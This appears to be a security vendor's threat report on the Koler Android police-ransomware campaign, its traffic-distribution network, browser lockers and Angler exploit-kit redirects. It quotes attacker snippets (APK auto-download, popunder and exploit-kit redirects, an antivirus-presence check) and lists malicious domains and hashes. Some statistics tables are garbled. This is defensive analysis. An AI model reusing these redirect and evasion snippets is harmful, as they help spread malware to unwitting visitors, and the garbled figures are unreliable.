Executive Summary

At the beginning of May 2014, we detected a new mobile ransomware named AndroidOS.Koler.a. As the name suggests, this affects mobile devices running Google’s Android operating system.

Once the malicious code is installed, it shows a screen purportedly from a law enforcement agency (selected according to the user’s region) demanding the payment of a fine for illegal use of the device. The malware does not encrypt or delete the files stored on the infected devices.

In order to unlock the device, an amount between $100 and $300 is requested. The criminals behind this campaign are using MoneyPak, Ukash and PaySafe as payment methods.

The malicious application was distributed via a pornographic network, so some visitors to adult-themed sites could easily be tricked into believing the warning screen and pay this ransom. Exactly the same method was used very successfully by attackers a few years ago in an attack that targeted Windows users.

The malware is not automatically downloaded or installed on the victim’s device. Since July 23rd, the mobile part of the campaign was disrupted and the Command and Control server started sending “Uninstall” request to victims.

So why was this campaign of interest? Because of the remarkable distribution infrastructure used to spread the malware.

During our analysis, we discovered that the infrastructure behind the distribution and infection process was far more complex than expected.

The malicious infrastructure relies on a TDS (Traffic Distribution System) that targets not only mobile devices but also any other visitor. That includes redirections to browser-based ransomware and the Angler exploit kit.

Based on the resources analyzed and the ransomware templates used, the group responsible for this campaign is apparently the same as the Reveton Team.1

1 http://en.wikipedia.org/wiki/Ransomware#Reveton
Koler – The ‘Police’ ransomware for Android

The main findings are summarized in the table below:

- **Distribution:** TDS
- **Main controller:** video-sartex.us (Kiteiro TDS Controller)
- **Malicious porn sites (redirector):** 49 domains detected
- **Exploit kit landing domains used:** 403 domains detected
- **Browser-based screen lock domains:** 49 domains detected
- **Mobile infection domain:** video-porno-gratuit.eu
- **Mobile Current C2:** policemobile.biz.
- **Traffic:** almost 200,000 visitors to the mobile infection domain
- **80% of visitors (and victims) from the United States.**
- **Different APKs used with same behavior.** The presence of new APKs with different names continuing this earlier behavior suggests the attackers may expand their campaign in the future.

To make it more credible, the campaign used different templates depending on the visitor’s geolocation. It had customized templates for the following 30 countries:

- Australia
- Austria
- Belgium
- Bolivia
- Canada
- Czech Republic
- Denmark
- Ecuador
- Finland
- France
- Germany
- Hungary
- Ireland
- Italy
- Latvia
- Mexico
- Netherlands
- New Zealand
- Norway
- Poland
- Portugal
- Romania
- Slovakia
- Slovenia
- Spain
- Sweden
- Switzerland
- Turkey
- United Kingdom
- United States

Finally, another very interesting feature is the way the authors fully automated the creation of new pornography sites and the redirection of traffic. They also used their malware as a service through an API to obtain new landing sites to distribute their browser-based ransomware and exploit kit websites.
# Table of contents

Executive Summary .................................................................................................................. 2

Analysis ........................................................................................................................................ 5

  > Mobile Ransomware ............................................................................................................... 5
  Malware ................................................................................................................................... 7
  Command and Control server ......................................................................................... 12

  > Distribution .......................................................................................................................... 14
  TDS and redirectors ........................................................................................................... 15
  Infrastructure for exploiting .......................................................................................... 28

  > Impact ................................................................................................................................... 29

  > Attribution ........................................................................................................................... 33

Conclusions .............................................................................................................................. 35

i. Appendix I - Redirectors ..................................................................................................... 36

ii. Appendix II – Block screen domains ............................................................................. 37

iii. Appendix III – Related porn domains (no malware) .................................................... 39

iv. Appendix IV – Exploit kit websites: ............................................................................... 40

Contact information: intelreports@kaspersky.com
Analysis

This section describes how the ransomware campaign works, including details of the Android malware distributed, the command-and-control servers detected and the complex distribution infrastructure that included some surprises, such as browser-based ransomware for desktop computers and an entire infrastructure for redirecting visitors to sites hosting the Angler Exploit Kit.

Mobile Ransomware

This investigation started by tracking the ransomware for Android detected as AndroidOS.Koler.a and distributed through the application animalporn.apk. This ransomware blocks the screen of the infected device and demands a $100 ransom to unlock the device.

Unlike some Cryptolocker-related malware families for PCs, this malware does not encrypt any file or perform any kind of advanced locking on the target device. It just blocks the screen.

However, it plays on the user’s insecurities: it claims to be a law enforcement agency blocking the device at precisely the moment the user is viewing inappropriate content. The same technique was very successful in the past in similar attacks against PCs.

The mobile infection is triggered when the user visits some specific pornographic sites from an Android device. Those sites are part of a distribution network created for this campaign and will redirect the victims to a landing page that contains an APK file called animalporn.apk.

The user has to download and install the application manually; there is no automatic installation. The infection vector is distributed through a complex TDS (Traffic Distribution System) campaign, as can be seen later in this report.

All the sites in the campaign redirect their traffic to the same server: hxxp://video-porno-gratuit.eu. This domain hosts the malicious APK.
When browsed, the website automatically redirects the user to the malicious application. The following screenshot shows the code responsible for this. Even after this the user still needs to download and install the application on his device.

```javascript
<script type="text/javascript">
    function loadapk() {
        document.location.href = 'http://video-porno-gratuit.eu/animalporn.epk';
    }
</script>
<body oncontextmenu="return false;" onload="loadapk()"></body>
```
Malware

The malware itself is quite simple. Basically, it blocks the device by putting the browser at the top of the screen with the blocking screen and not allowing any interaction with it.

The following table shows the hashes for the detected samples used in this campaign from the beginning of May 2014. All of them target Android and show identical behavior.

<table>
<thead>
<tr>
<th>HASH (MD5)</th>
<th>Approx. distribution dates</th>
<th>Verdict</th>
</tr>
</thead>
<tbody>
<tr>
<td>fb14553de1f41e3fcdcf 6f d9e6831</td>
<td>Until May 08, 2014</td>
<td>Trojan.AndroidOS.Koler.a</td>
</tr>
<tr>
<td>67bde6039310b4bb9ccdf9f 2a721a45</td>
<td>May 08 - May 12, 2014</td>
<td>Trojan.AndroidOS.Koler.a</td>
</tr>
<tr>
<td>980396ec32c0d6f25aa86f 2ba1be7d</td>
<td>Since May 10 (current version)</td>
<td>Trojan.AndroidOS.Koler.a</td>
</tr>
</tbody>
</table>

Build IDs for these samples are (respectively):

DCEF055EEE3F76CABB27BD7233F6E3
C143D55D996634D1B761709372042474
DCEF055EEE3F76CABB27BD7233F6E3

Other names found for the APKs are:

> Badoink.apk
> PornHub.com.Apk

We have found other samples that were not distributed in this campaign but with the same behavior:

Build ID: 671BA0C6D51DA567D19C8208EB4AD003
Name: whatsapp.apk
Hash: 8c87ce6a12f4a88ba0af ec0f c080879a
Verdict: Trojan.AndroidOS.Koler.a
Detected: June 10th, 2014

Note that the name for the application in this case is not animalporn.apk but whatsapp.apk. Maybe this indicates the start of a new malicious campaign.

Build ID: D41D8CD98FO0B204E9800998ECF8427E
Name: updateflash.apk
Hash: e3416c69fc57a4a635103e413521153d6
Verdict: Trojan.AndroidOS.Koler.a
Detected: June 10th, 2014

The malicious application is heavily obfuscated.
Koler – The 'Police' ransomware for Android

- Installation

The installation process is not automatic and user intervention is required both for downloading and installation.

We can see the permissions requested by the application, such as running at startup.

Once the application is installed, it contacts the Command and Control (C2) server in the background and sends the IMEI ID number of the infected device.

The malicious application will continue sending the IMEI of the infected device regularly to the C&C.

TLP: Green
For any inquire please contact intelreports@kaspersky.com
In addition it sends a common identifier (build ID) hardcoded in the APK, in this case DCEF055EE3F76CABB27B3BD7233F6E3.

![Figure 5. Build ID](image)

The server side code will check the geographical location of the source IP address in order to determine which country-specific blocking ‘template’ should be used. This template is the customized blocking screen that is shown to the infected user.

```
GET /7jhx98amU4gq=0000000000000000061lParCmpGY=DCEF055EE3F76CABB27B3BD7233F6E3 HTTP/1.1
Host: policemobile.biz
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
X-Requested-With: com.android
User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC One XL - 4.x) Mobile Safari
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, *;q=0.7
```

![Figure 6. Request for downloading the blocking template](image)

From that moment, the device screen will be blocked. It displays a message purportedly from a local law enforcement agency demanding a fine for illegal use of the device.

The server stores templates for 30 countries worldwide:

- Australia
- Austria
- Belgium
- Bolivia
- Canada
- Czech Republic
- Denmark
- Ecuador
- Finland
- France
- Germany
- Hungary
- Ireland
- Italy
- Latvia
- Mexico
- Netherlands
- New Zealand
- Norway
- Poland
- Portugal
- Romania
- Slovakia
- Slovenia
- Spain
- Sweden
- Switzerland
- Turkey
- United Kingdom
- United States

These are the countries we consider to be affected by the Koler campaign. However, as we will see later, this infrastructure is not limited to these countries or to Android devices.

For any inquiry please contact intelreports@kaspersky.com
The C&C server used in all samples is policemobile.biz.

In addition, different versions of the malicious APK contain several additional domains that are inactive as of June 1, 2014:

- hxxp://police-strong-mobile.com
- hxxp://mobile-policeblock.com
- hxxp://police-secure-mobile.com
- hxxp://police-scan-mobile.com
- hxxp://police-mobile-stop.com
- hxxp://police-guard-mobile.com

These domains are stored in a configuration file inside the malicious application.

- **Payment**

In order to unlock the device, the blocking screen offers different payment methods. The main ones are MoneyPack, UKash and Paysafe. All the payment methods are the same for the mobile and non-mobile victims. We will discuss later what happens with non-mobile infections.
Koler – The ‘Police’ ransomware for Android

The infected user is also shown several local businesses where prepaid cards for the payment can be purchased:
When the victims enter any code to make a payment, it is checked locally. The APK uses the included file `script.js` from the C2 to check with regular expressions that the codes inserted are correct:

```javascript
var psc_re = /^\d{1,9}\d{8}\d{6}$/;
var ukash_re = /\d{1,9}/;
var moneyback_re = /\d{1,9}$/;
var moneygram_re = /\d{1,9}\d{8}$/;
```

These codes are supposedly checked later on the server side. During the analysis we never received an unlocking code or application to uninstall the APK when bypassing this small local check.

### Command and Control server

The active C&C server for all the detected APKs in this campaign at the time of writing this report is `policemobile.biz`. This server contains all the templates that will be shown in the blocking screens on the infected devices.

As stated in the previous section, the unlocking process is verified on the server side. After submitting payment details, applications receive two different HTTP responses ("ok" or "bad") based on whether:

1. The payment code is correct (checked at client-side level with JavaScript).
2. The identification code for the mobile (IMEI) is already in the database.
The server-side code responsible for managing the victims’ payments is stored in hxxp://policemobile.biz/unlock.php.
Distribution

This section describes the infrastructure behind the ransomware campaign. When we started the analysis we expected a simple scenario where the most interesting part would be based on the analysis of the malware samples.

In reality though, this campaign is all about the distribution infrastructure used, expanding the fraud to desktop users and using an exploit kit infrastructure to distribute malware. Because of this, attackers can very quickly create new campaigns in a highly automated fashion.

The graphic below shows the big picture of the infrastructure:

![Distribution infrastructure diagram](image)

Figure 11. Distribution infrastructure
TDS and redirectors

There is a full redirection network that the attackers use to divert traffic to the malicious servers where they perform different activities based on several parameters from the visitors.

- Mobile infection server

This server is responsible for infecting the victims. Basically, it hosts the malicious APK, so it is the server to which all victims will be diverted at the end of the redirection chain.

The current infection URL is hxxp://video-porno-gratuit.eu/animalporn.apk (active) although there are references to other malicious binaries that were used previously in this same domain:

- hxxp://video-porno-gratuit.eu/pornvideo.apk (inactive)
- hxxp://video-porno-gratuit.eu/animalporn.apk (active, 11 June 2014)
- hxxp://video-porno-gratuit.eu/new/animalporn.apk (inactive)

The domain currently resolves to the IP address: 94.102.49.151 located in the Netherlands.

Figure 12. Server and DNS location

We were able to retrieve some statistics used by the C&C server. Thanks to these, we can see the geolocation data of its visitors throughout the whole period of the campaign (April 2014 – June 2014):
Koler – The ‘Police’ ransomware for Android

Activity per month in number of visitors and total pages displayed:

<table>
<thead>
<tr>
<th>Month</th>
<th>Total Page Views</th>
<th>Total Visitors</th>
<th>New Visitors</th>
<th>Total New Visits</th>
<th>Page Views per Visit</th>
</tr>
</thead>
<tbody>
<tr>
<td>April 2014</td>
<td>298,520</td>
<td>196,596</td>
<td>143,095</td>
<td>298,520</td>
<td>1.51</td>
</tr>
<tr>
<td>May 2014</td>
<td>20,352</td>
<td>130</td>
<td>130</td>
<td>20,352</td>
<td>1.5 (-0.7%)</td>
</tr>
<tr>
<td>June 2014</td>
<td>104</td>
<td>295</td>
<td>295</td>
<td>104</td>
<td>1.5</td>
</tr>
</tbody>
</table>

And referrers (only Search engines):

<table>
<thead>
<tr>
<th>Search engines</th>
<th>April 2014 - June 2014</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google</td>
<td>(883.3%) 106 90</td>
</tr>
<tr>
<td>Yahoo</td>
<td>(883.3%) 10 7</td>
</tr>
<tr>
<td>bing</td>
<td>(883.3%) 7 5</td>
</tr>
<tr>
<td>webcrawler.com</td>
<td>(8.33%) 11</td>
</tr>
<tr>
<td>Google Cache</td>
<td>(8.33%) 1 0</td>
</tr>
</tbody>
</table>

From this data we see that the campaign was mostly active in April, targeting mostly victims in the US.
With this data we were able to obtain a first list of redirectors (referrer websites) connected to the malicious domain:

![Redirectors to video-porno-gratuit.eu](image)

Figure 16. Redirectors to video-porno-gratuit.eu

Through these stats, we also confirmed that the campaign started in April 2014. At the time of our analysis, the landing website had received 196,619 visitors.
The traffic from search engines is low in comparison to the total traffic. Most of it comes from Google:

<table>
<thead>
<tr>
<th>Resumen de motores de búsqueda</th>
<th>Visitantes</th>
<th>(%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google</td>
<td>98</td>
<td>82</td>
</tr>
<tr>
<td>(102.08%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Yahoo</td>
<td>10</td>
<td>7</td>
</tr>
<tr>
<td>(10.41%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bing</td>
<td>7</td>
<td>5</td>
</tr>
<tr>
<td>(7.29%)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>webcrawler.com</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>(1.04%)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Figure 17. Search engine traffic

Considering this data, it appears the attackers aren’t creating their own SEO campaign, but instead they just rent traffic from porn websites.

- **Redirectors – porn sites**

The next step was analyzing all these websites.

The first interesting point of note is that they didn’t look like compromised sites – we were expecting iFrame injections to redirect visitors.

The second interesting point is that all these websites looked the same – they had the same infrastructure in HTML and didn’t use their own pornographic material but just used links to external resources.
After analyzing the link structure of these porn sites, we confirmed all of them used the same external resources:

Finally, we checked the ‘whois’ data and found common patterns like the use of the same registrar, same registration dates, same emails, etc. for many of these domains.

We identified a total of 48 domains in this porn redirecting network. These domains can be found in Appendix I.
Also most of the porn websites used in this campaign were registered together in November 2013:

![Figure 19. Registration date of redirectors](image)

All of them were registered in Internet.BS Corp. with Hotmail addresses, some of them reused:

- treedomainvideopor@hotmail.com used 7 times
- michaelahulmteleworm@hotmail.com used 4 times

This meant we were able to find additional related sites, many of them reusing the same template and links structure.

Some of these sites were redirecting traffic to videosart.us, offline at the time of the analysis, but we believe this was used as a redirector at an early stage of the campaign, probably for testing.

This network of porn sites is responsible for redirecting victims to the controller domain of the campaign: videosartex.us.

Almost all the websites used in this infrastructure are created with the same template, in many cases using templates from the legitimate site Tubewizardpro (hxxp://tubewizardpro.com/).
Koler – The ‘Police’ ransomware for Android

All the content (mainly videos and pictures) within these porn sites is loaded from external sources. All the porn sites in this network use WebLoader.

The WebLoader application contains all the necessary features for loading the content of porn sites from third-party servers. There are some pre-defined bots that gather content from other porn sites.
Controller server and TDS Kitaro

The controller site, video-porno-gratuit.eu, was also registered on December 21, 2013 with a Hotmail address through the Internet.bs Corp. register. This is consistent with all the other domains.

This website is full of references to pornvideo.apk in the same server, which was not found during the analysis. It was probably used earlier in other malicious campaigns.

Interestingly, the metadata of the website promotes visits from mobile devices:

<meta name="description" content="Download the most shocking mobile animal sex videos. We support ipad, tablets, htc, google nexus, iphone, samsung galaxy, blackberry and many more devices.">
The following schema summarizes how the redirection network works:

![Redirection schema](image-url)

Figure 23. Redirection schema

TLP: Green
For any inquiry please contact intelreports@kaspersky.com
Koler – The ‘Police’ ransomware for Android

Basically, all porn sites redirect to the “controller” domain videosartex.us. We can see in the source code of these porn redirectors how they divert traffic:

```javascript
function checkTarget(e) {
  if (!getCookie('popundr')) {
    var e = e || window.event;
    var win = doOpen('http://videosartex.us/?2');
    setCookie('popundr', 1, 24*60*60*1000);
  }
}
```

Then, videosartex.us performs its redirection based on the parameter in the URL, the referrer, the user agent and the geographical location of the visitor’s IP. If the IP is from any of the 30 affected countries and the user-agent belongs to an Android device, the visitor is redirected to the malicious APK in video-porno-gratuit.eu.

If the IP is from any other country, there are two possibilities:

1. If visiting a website without a mobile user agent, the redirect leads to kindporn.us.
2. If visiting a website without a mobile user agent and with the parameter ?2, the redirect leads to asiansexlive.us.

However, these redirections are not really significant. As shown in figure 25, all the redirections are ultimately managed by videosartex.us. So once the user ends up at kindporn.us or asiansexlive.us, he will eventually be redirected to videosartex.us, just with a different parameter.

If the user is redirected from asiansexlive.us, the website will show the browser ransomware. However, if the request uses an Internet Explorer user agent, the victim will be redirected to an exploit kit. More details on both of these later.

In summary: videosartex.us receives all the HTTP petitions from the porn network and redirects to either the malicious APK, to a browser-based screen locker or to an exploit kit.

In order to decide which petitions the system should redirect to, the criminals use a third-party application to manage the traffic and redirections. The application is named Keitaro TDS (Traffic Distribution System).
Based on the information available on Keitaro TDS (hxpx://keitarotds.com/), the system offers the following features:

- Compatible with shared hosting
- Easy to install and easy to configure
- Detects mobile devices, countries and cities
- Monitors availability of the target URLs
- Simulates traffic to check settings
- Table and charts for analyzing traffic
- Distributes up to 200,000 visitors per day on shared hosting
- Automatic updates
- Support
- API

Once installed, the PHP application allows the site administrators to redirect traffic in several different ways, maintaining statistics and information regarding visitors and redirections. First of all, a traffic distribution group must be created from the management section:
Koler – The ‘Police’ ransomware for Android

Figure 25. Keitaro new group

Based on the information provided in hxxp://videosartex.us/version.php the system uses the last Kitaro TDS version, which at the time of writing is 5.0.12.

- **Browser Ransomware**

During the analysis we noticed that some domains showed ransomware-themed pop-ups to non-mobile victims. These additional servers are used when the controller (videosartex) detects these two conditions:

1. The request does not contain an Internet Explorer user agent.
2. If the request is from one of the affected countries, but does not contain any Android user agent.

If the visitor uses Android from any of the affected countries, the device is redirected to the malicious APK. Internet Explorer is redirected to an exploit kit.

In this case the victim is redirected to a browser ransomware website. A blocking screen identical to the one used on the mobile scheme is shown on the victim’s computer. In these cases, there is no infection, just a pop-up showing a blocking template.

The list of browser ransomware domains can be found in Appendix II.

We initially believed that the previous domains were hacked because when browsing the root domain (without the “police” subdomain) almost all the websites showed regular content related to the domain name.
However, after analyzing the ‘whois’ information we found a clear pattern in the registrar’s name. Almost all the domains were registered using the same names as “William Sadlier”, “Crucita Stevens” or “CiCi Sevens”.

This operational feature is really clever from the cybercriminal's point of view, because if someone detects the malicious blocking templates it is possible that they would contact the website owner thinking they were compromised. The criminals can thus find out when the server has been identified by third parties.

These domains use a time-based rotation mechanism every hour. The path showing the blocking message rotates every two minutes and uses a list of names extracted from dictionaries (city names, common names, etc.). The following is the schema used:

```
hxxp://police.DOMAIN.TLD/[extracted_from_english_dictionary].html
```

The following images are examples of headers used in the ransomware popups:

![Headers used in blocking screens](image)

All these servers contain blocking templates affecting 30 different countries. The image below shows the blocking screen received on a computer with a source IP address from Spain and a Firefox browser.
In addition, these servers also act as redirectors. If the domains (including the police subdomain) are visited directly, the sites will redirect the user to one of a pre-defined list of 21 additional porn sites. The full list can be found in Appendix III.

Infrastructure for exploiting

The redirection infrastructure used in this campaign had a final surprise, in this case redirecting visitors to an exploit kit.

The porn redirector websites have some links inside that redirect the user to “videosartex.us” with the parameters ?1 and ?2. That includes asiansexlive.us, the website to which any random visitor to videosartex.us will be redirected.

When videosartex.us gets such requests from users browsing with Internet Explorer, it will redirect them to a new domain hosting an exploit kit.
The following is an example of this redirection:

```html
<html>
  <head>
    <meta http-equiv="REFRESH" content="1; URL='hxxp://antimicrobial.trentonmennonite.org:2980/hbwtfklh30.php/'">
    <script type="text/javascript">window.location = "http://antimicrobial.trentonmennonite.org:2980/hbwtfklh30.php";</script>
  </head>
  <body>
    The Document has moved <a href="hxxp://antimicrobial.trentonmennonite.org:2980/hbwtfklh30.php">here</a>
  </body>
</html>
```

The redirection changes over time. While we were monitoring we detected more than 400 domains used to host the exploit kit. The full list can be found in Appendix IV. Below are a few examples:

- hxxp://antimicrobial.trentonmennonite.org:2980/hbwtfklh30.php
- hxxp://arveliaulophyte.springboropc.com:2980/hecc08cxgz.php
- hxxp://sinuouslybehartigt.bishopselegantgiftbaskets.com:2980/emvs0ea7bx.php
- hxxp://accitumque.vinoimori.com:2980/ttjevci9sg.php
- hxxp://rjungccuco-hexapodies.oaktobe.com/2vv62v31s1
- hxxp://multisallesdobbe.runningwstudios.com:2980/266e3badlo.php
- hxxp://easterconregionalistit.runningwrecords.com:2980/t2deeny2ny.php
- hxxp://burstall.runningwstudios.com:2980/mn1a6j2yij.php

It should be noted that the domains related to the exploit kit are registered using similar names, such as Vincenzo Lagi or Roberto Lagi.

The exploit kit used is Angler. We should keep in mind this exploit kit is one of the tools of choice of Team Reveton. The use of Port 2980, which is not usual among other exploit kits, is one of the distinctive aspects of this exploit kit.

The Angler exploit kit has exploits for Silverlight, Adobe Flash and Java. The use of Silverlight is quite common in Angler.
Koler – The ‘Police’ ransomware for Android

Interestingly, the kit has a reference to Kaspersky in its code, supposedly to check for its presence on the target’s machine:

```javascript
for (var l = 0; l < 50; l++) {
    if (gs7sfd("c:\Windows\System32\drivers\kl1.sys")) {
        window['GgtXbTd'] = true;
        !SjFOSZd = ";
        window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 =
        window.sf325gtgs7sfdf2 = false;
    }
    sleep(20);
}
```

During our analysis, the exploit code was not fully functional and it didn’t deliver any payload.
Koler – The ‘Police’ ransomware for Android

Impact

Based on KSN (Kaspersky Security Network) statistics from May 1, 2014 to June 1, 2014 the campaign is active and has shown an incremental trend since its first detection.

The statistics include all the samples mentioned earlier in this document. All of them are identified as Trojan.AndroidOS.Koler.

Figure 28. Koler detection trend

Figure 29. Geographical distribution of victims
The following table shows the top 10 countries by number of users affected based on our statistics:

<table>
<thead>
<tr>
<th>Country</th>
<th>Number of affected users</th>
</tr>
</thead>
<tbody>
<tr>
<td>USA</td>
<td>2224</td>
</tr>
<tr>
<td>Germany</td>
<td>135</td>
</tr>
<tr>
<td>UK</td>
<td>79</td>
</tr>
<tr>
<td>Canada</td>
<td>67</td>
</tr>
<tr>
<td>France</td>
<td>35</td>
</tr>
<tr>
<td>Italy</td>
<td>20</td>
</tr>
<tr>
<td>Poland</td>
<td>19</td>
</tr>
<tr>
<td>Mexico</td>
<td>16</td>
</tr>
<tr>
<td>Austria</td>
<td>15</td>
</tr>
<tr>
<td>Switzerland</td>
<td>15</td>
</tr>
</tbody>
</table>

The most affected countries are consistent with the information we were able to obtain from video-porno-gratuit.eu:

![Figure 30. Visitor stats for video-porno-gratuit.eu](image)

However, we can observe that Australia and Saudi Arabia are also among the most affected countries. We don’t know why Italy, Germany and the UK are considered separately from Europe in this chart, but they are found among the top targeted countries.

We should keep in mind that what we have in these two last charts are statistics for visitors, and not necessarily infections.
Attribution

At the time of writing, the only element that we have regarding attribution is the code being publicized on several underground Russian forums since February 2014, although this is not conclusive evidence. In addition, the malware is just a part of this complex infrastructure when several malicious providers offer their services.

The following (Google) translation from Russian is provided online for the most relevant parts of the advertisement:

**Sploit / Filtration System / Syslocker / CryptoLock / Block Android Mobile **

We offer you the technical resources and a great solution for your adult and non-adult traffic.

We offer you the following services:

Using our bundles: (available for rent)
- The only private solution with high punching
- Service 24/7
- Always clean and sploitov domains
- API and detailed statistics

The ability to use our browser to drain traffic:
- Simple accommodation in two clicks
- Provide an API to generate net domains
- Safe redirection, not to expose your site under attack antivirus
- The ability to install on your servers
- Different types of accommodation - banners, popander, inject into standard js library
Koler – The ‘Police’ ransomware for Android

***** Syslocker *****

Highly profitable option for windows adult traffic

- Large range of host country
- A unique solution lock
- Own checks on the best exchange rate in the market or the issuance of raw checks
- Constant cleaning build
Conclusions

Ransomware for mobile devices appeared on almost every prediction list for 2014. We are not dealing with the most advanced families here such as cryptolocker for Windows; the ransomware is fairly basic, but sufficient to annoy the victim.

We should also consider the important psychological factor of a victim browsing porn websites and getting a message from the police blocking the device for inappropriate use and demanding the payment of a fine. This attack vector has proven quite effective in the past.

Although we do not have conclusive evidence, we believe that the team behind this malicious operation could be the one known as Reveton. This notorious gang has been responsible for several ransomware campaigns targeting computers from 2012 and it seems logical to evolve and adapt the same scheme for mobile devices.

However, the distribution network used in this campaign is the most interesting part. Dozens of automatically generated websites redirect traffic to a central hub where users are redirected again according to several conditions. This second redirection could be to a malicious Android application, browser-based ransomware or to a website with the Angler exploit kit.

In this final case, the exploit kit was not fully operational and we were unable to obtain its payload. However, the attackers used an API armed with the exploit kit to retrieve their landing sites. This is an interesting example of using malware-as-a-service in a highly automated malicious infrastructure.

Thanks to some operational mistakes made by the creators of the campaign, it was possible to retrieve very valuable data, including the current statistics of the victims of and visitors to the malicious infrastructure. The US was by far the most affected country.

With regards to the Android malware, it targeted users in 30 countries with customized websites for every one of them, even offering details on local payment methods for the fine.

We believe this kind of infrastructure is a perfect example of how well prepared and dangerous these campaigns are. They are now targeting, but are not limited to, Android users. The attackers can quickly create a similar infrastructure thanks to its intricate automation, changing the payload or targeting different users. The attackers have also created many different ways of monetizing their campaign in a true multi-device schema.

This kind of campaign will be the norm in the future.
Koler – The ‘Police’ ransomware for Android

i. Appendix I - Redirectors

hxxp://adultmatches.us
hxxp://animalpornmovie.us
hxxp://animalsexvideo.us
hxxp://banzigoviaggi.it
hxxp://college-porn.org
hxxp://dcskateshoes.us
hxxp://dogporn.us
hxxp://dogsexvideo.us
hxxp://fakelouis-vuitton.us
hxxp://free-zoo-porn.com
hxxp://freexporntube.com
hxxp://freezooporn.us
hxxp://hardsexetube8.com
hxxp://hardsexetubefree.us
hxxp://icesextube.us
hxxp://limdogs.net
hxxp://incestporn.us
hxxp://iosextreme.it
hxxp://jeux-porno.eu
hxxp://justforever.us
hxxp://kindporn.us
hxxp://kleostours.it
hxxp://msexchangewiki.com
hxxp://mybigboobs.us
hxxp://nuff.us
hxxp://ofclan.it
hxxp://piratevault.us
hxxp://polslinux.it
hxxp://pornoenstreaming.eu
hxxp://rareanimalporn.us
hxxp://rarexxx.us
hxxp://sciallaifilm.it
hxxp://sexorg.us
hxxp://sextube8.us
hxxp://sexzoo.us
hxxp://tattitude.us
hxxp://toothmy.com
hxxp://topbeatsbydre.us
hxxp://toy-story-3dcomp.com
hxxp://truebisexuallove.com
hxxp://videosartex.us (controller)
hxp://viewn.us
hxxp://www.polslinux.it
hxxp://youngadultoutreach.com
hxxp://zooporn.us
hxxp://zoopornvideo.us
hxxp://zoosextube.us
ii. Appendix II – Block screen domains

hxxp://police.teamaquaticom.com/
hxxp://police.streetthrills.com/
hxxp://police.americanbicylebag.com
hxxp://police.baldorealty.com
hxxp://police.biomasshrs.biz
hxxp://police.biomasshrs.co
hxxp://police.biomasshrs.com
hxxp://police.biomasshrs.info
hxxp://police.biomasshrs.mobi
hxxp://police.biomasshrs.net
hxxp://police.biomasshrs.org
hxxp://police.biomasshrs.us
hxxp://police.buffalobuyyourhome.com
hxxp://police.buffaloleaseyourproperty.com
hxxp://police.buffaloproperties.com
hxxp://police.bwellrehabilitation.com
hxxp://police.bwresource.us
hxxp://police.callolico.com
hxxp://police.callsinclair.co
hxxp://police.cfocoo.com
hxxp://police.cfocoo.mobi
hxxp://police.comfortinsaratoga.com
hxxp://police.evergreenmowplow.com
hxxp://police.goldencoralny.com
hxxp://police.healthresourcesofnewjersey.com
hxxp://police.homewithkate.com
hxxp://police.imowlawns4u.com
hxxp://police.k10productions.com
hxxp://police.kitsnkaboodle.com
hxxp://police.kitsnkabootal.com
hxxp://police.kramermedicalclinic.com
hxxp://police.mdcfocoo.com
hxxp://police.milesosmilesshow.com
hxxp://police.milesosmilesshows.com
hxxp://police.misticalis.com
hxxp://police.mistikalis.com
hx xp://police.mountingpleasure.com
hx xp://police.mptreasure.com
hx xp://police.mptreasures.com
hx xp://police.msa-Tcp.com
hx xp://police.msaclub.com
hx xp://police.msaclub.org
hx xp://police.mystikalis.com
hx xp://police.nancycelebratinghome.com
hx xp://police.nancywithcelebratinghomeinteriors.com
hx xp://police.northeastdl.com
hx xp://police.odpmusementpark.com
hx xp://police.odpap.com
hx xp://police.opnyhomes.com
hx xp://police.organicdegreaser.com
hx xp://police.organicdegreaser.info
hx xp://police.pelagreen.com
hx xp://police.petebowden.com
hx xp://police.petebowden.info
hx xp://police.pleurku.com
hx xp://police.pond-craft.com
hx xp://police.pondability.com
hx xp://police.pondcraft.com
hx xp://police.pondtabs.com
hx xp://police.prettithings.com
hx xp://police.questafilms.com/
hx xp://police.quintoncheney.com
hx xp://police.rapanudi.com
hx xp://police.rcxchange.com
hx xp://police.rcxchange.com
hx xp://police.recessatwork.com
hx xp://police.renulens.com
hx xp://police.rescreem.com
hx xp://police.rsidv.com
hx xp://police.ryancheney.com
hx xp://police.sadlier.us
hx xp://police.saratogacomfortinn.com
hx xp://police.saratogacomfortinnandsuites.com
hx xp://police.saratogauna.com
hx xp://police.saratogaunos.com
hx xp://police.scavengerclub.com
hx xp://police.shanemalk.com
hx xp://police.showcom.co
hx xp://police.showcom.international
hx xp://police.showcom.us
hx xp://police.showmensclub.org
hx xp://police.sinkodemayo.com
hx xp://police.stellaramusements.com/
hx xp://police.stellarfun.com/
hx xp://police.stellarfungroup.com/
hx xp://police.suburbanwildlife.com/
hx xp://police.sybarishospitality.com/
hx xp://police.teamgreengage.com/
hx xp://police.templeinmn.com
hx xp://police.tetonmovies.com
<table>
<thead>
<tr>
<th>URL</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxkp://police.thebestbind.com</td>
<td>hxkp://police.unosaratoga.com</td>
</tr>
<tr>
<td>hxkp://police.thetextfairy.com</td>
<td>hxkp://police.wickedminions.com/</td>
</tr>
<tr>
<td>hxkp://police.timewarpmedia.com</td>
<td>hxkp://police.wnymarketsnapspot.com</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.biz</td>
<td>hxkp://police.yougoboyaz.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.co</td>
<td>hxkp://police.yougoboygirls.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.com</td>
<td>hxkp://police.yougoboygirlsentertainments.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.info</td>
<td>hxkp://police.yougoboymarketing.com/</td>
</tr>
<tr>
<td>hxkp://police.triatechnologies.mobi</td>
